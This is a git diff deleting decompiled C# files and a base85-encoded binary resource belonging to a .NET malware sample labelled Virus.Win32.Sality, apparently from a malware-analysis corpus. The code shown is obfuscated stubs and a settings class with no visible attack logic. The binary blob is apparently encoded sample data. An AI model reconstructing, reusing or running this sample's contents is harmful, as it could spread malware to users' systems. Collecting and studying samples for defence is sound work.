b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009F_0002.cs deleted file mode 100644 index 697487d5..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009F_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ÿ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u009F\u0002([In] object obj0, [In] Color obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009F_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009F_0003.cs deleted file mode 100644 index 2b4b5073..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009F_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ÿ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate int \u009F\u0003([In] byte[] obj0, [In] int obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009F_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009F_0004.cs deleted file mode 100644 index c48d6355..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009F_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ÿ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate int \u009F\u0004([In] long obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009F_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009F_0005.cs deleted file mode 100644 index 378c85a3..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009F_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ÿ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Delegate \u009F\u0005([In] IntPtr obj0, [In] Type obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/n(EWZ_0009/7_0017[_000C/7.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/n(EWZ_0009/7_0017[_000C/7.cs deleted file mode 100644 index 44dc4b5d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/n(EWZ_0009/7_0017[_000C/7.cs +++ /dev/null @@ -1,70 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n(EWZ ..7[ .7 -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0008; -using n\u0028EWZ\u0009..\u0037\u0017\u005B\u000C; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.CodeDom.Compiler; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace n\u0028EWZ\u0009..\u0037\u0017\u005B\u000C -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] - [CompilerGenerated] - internal sealed class \u0037 : ApplicationSettingsBase - { - private static \u0037 \u0001; - - [MethodImpl(MethodImplOptions.NoInlining)] - public \u0037() - { - \u0003.\u0003(); - // ISSUE: explicit constructor call - base.\u002Ector(); - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static \u0037() - { - try - { - \u0003.\u0003(); - // ISSUE: reference to a compiler-generated field - // ISSUE: object of a compiler-generated type is created - \u0037.\u0001 = (\u0037) SettingsBase.Synchronized((SettingsBase) new \u0037()); - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - - public static \u0037 \u005C9\u0024 - { - [MethodImpl(MethodImplOptions.NoInlining)] get - { - try - { - \u0037 obj = \u0037.\u0001; - return obj; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/n(EWZ_0009/7_0017[_000C/Token2000132.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/n(EWZ_0009/7_0017[_000C/Token2000132.cs deleted file mode 100644 index 310e64c9..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/n(EWZ_0009/7_0017[_000C/Token2000132.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n(EWZ ..7[ .Token2000132 -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -namespace n\u0028EWZ\u0009..\u0037\u0017\u005B\u000C -{ - internal class Token2000132 : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/{058f5872-1669-4da0-8ae3-6f6e94a9e1dc} b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/{058f5872-1669-4da0-8ae3-6f6e94a9e1dc} deleted file mode 100644 index dc0c1f4bc97d35dd89877336bd663351f599ddcd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 23988 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 